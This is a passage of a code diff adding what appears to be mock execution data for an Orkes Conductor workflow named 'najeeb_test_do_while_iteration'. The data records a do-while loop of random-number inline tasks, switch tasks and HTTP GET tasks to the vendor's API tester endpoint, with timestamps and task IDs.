+ iteration: 10, + }, + workflowTask: { + name: "do_while_1", + taskReferenceName: "do_while_ref_1", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref_1['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + inline_ref_1: { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__10", + retryCount: 0, + seq: 85, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861829, + startTime: 1713413861829, + endTime: 1713413861842, + updateTime: 1713413861829, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9960760d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__1", + retryCount: 0, + seq: 45, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413859386, + startTime: 1713413859386, + endTime: 1713413859402, + updateTime: 1713413859386, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97ec2565-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__2", + retryCount: 0, + seq: 49, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413859617, + startTime: 1713413859617, + endTime: 1713413859629, + updateTime: 1713413859617, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "980f64d9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__3", + retryCount: 0, + seq: 54, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413859945, + startTime: 1713413859945, + endTime: 1713413859959, + updateTime: 1713413859945, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9841715e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__4", + retryCount: 0, + seq: 59, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860274, + startTime: 1713413860274, + endTime: 1713413860287, + updateTime: 1713413860274, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9873a4f3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__5", + retryCount: 0, + seq: 64, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860607, + startTime: 1713413860607, + endTime: 1713413860621, + updateTime: 1713413860607, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98a69bd8-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__6", + retryCount: 0, + seq: 69, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860941, + startTime: 1713413860941, + endTime: 1713413860957, + updateTime: 1713413860941, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98d96bad-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 4, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__7", + retryCount: 0, + seq: 72, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861052, + startTime: 1713413861052, + endTime: 1713413861070, + updateTime: 1713413861052, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98ea3490-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 4, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__8", + retryCount: 0, + seq: 75, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861161, + startTime: 1713413861161, + endTime: 1713413861175, + updateTime: 1713413861161, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98fafd73-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__9", + retryCount: 0, + seq: 80, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861496, + startTime: 1713413861497, + endTime: 1713413861510, + updateTime: 1713413861497, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "992e4278-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 1, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__10", + retryCount: 0, + seq: 85, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413861829, + startTime: 1713413861829, + endTime: 1713413861842, + updateTime: 1713413861829, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9960760d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + switch_ref_1: { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__10", + retryCount: 0, + seq: 86, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861851, + startTime: 1713413861851, + endTime: 1713413861851, + updateTime: 1713413861851, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9963d16e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref_1__1", + retryCount: 0, + seq: 46, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859413, + startTime: 1713413859413, + endTime: 1713413859413, + updateTime: 1713413859413, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97ef80c6-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__2", + retryCount: 0, + seq: 50, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859637, + startTime: 1713413859637, + endTime: 1713413859637, + updateTime: 1713413859637, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9811fcea-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__3", + retryCount: 0, + seq: 55, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859968, + startTime: 1713413859968, + endTime: 1713413859968, + updateTime: 1713413859968, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98447e9f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + 